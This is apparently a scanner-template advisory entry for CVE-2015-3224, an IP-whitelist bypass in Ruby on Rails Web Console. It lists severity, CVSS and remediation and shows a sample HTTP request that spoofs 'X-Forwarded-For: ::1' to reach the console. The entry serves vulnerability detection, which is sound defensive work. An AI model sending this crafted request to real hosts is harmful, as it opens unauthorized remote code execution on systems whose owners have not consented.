| Title | Ruby on Rails Web Console - Remote Code Execution |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Remote code execution can lead to unauthorized access, data breaches, and complete compromise of the affected system. |
| Remediation | Upgrade to a patched version of Ruby on Rails or disable the Web Console feature. |
| CVSS Score | 4.3 |
| EPSS Score | 0.85262 |
| CVE ID | CVE-2015-3224 |
| CWE ID | CWE-284 |
| Tags | cve2015 cve ruby hackerone rce rails intrusive rubyonrails vuln |
Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client’s IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb.
GET /38FiTkmV80XSgsjXipnTGGiXDqh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Accept: */*
Accept-Language: en
X-Forwarded-For: ::1
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3224.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-3224.pcap
N/AN/A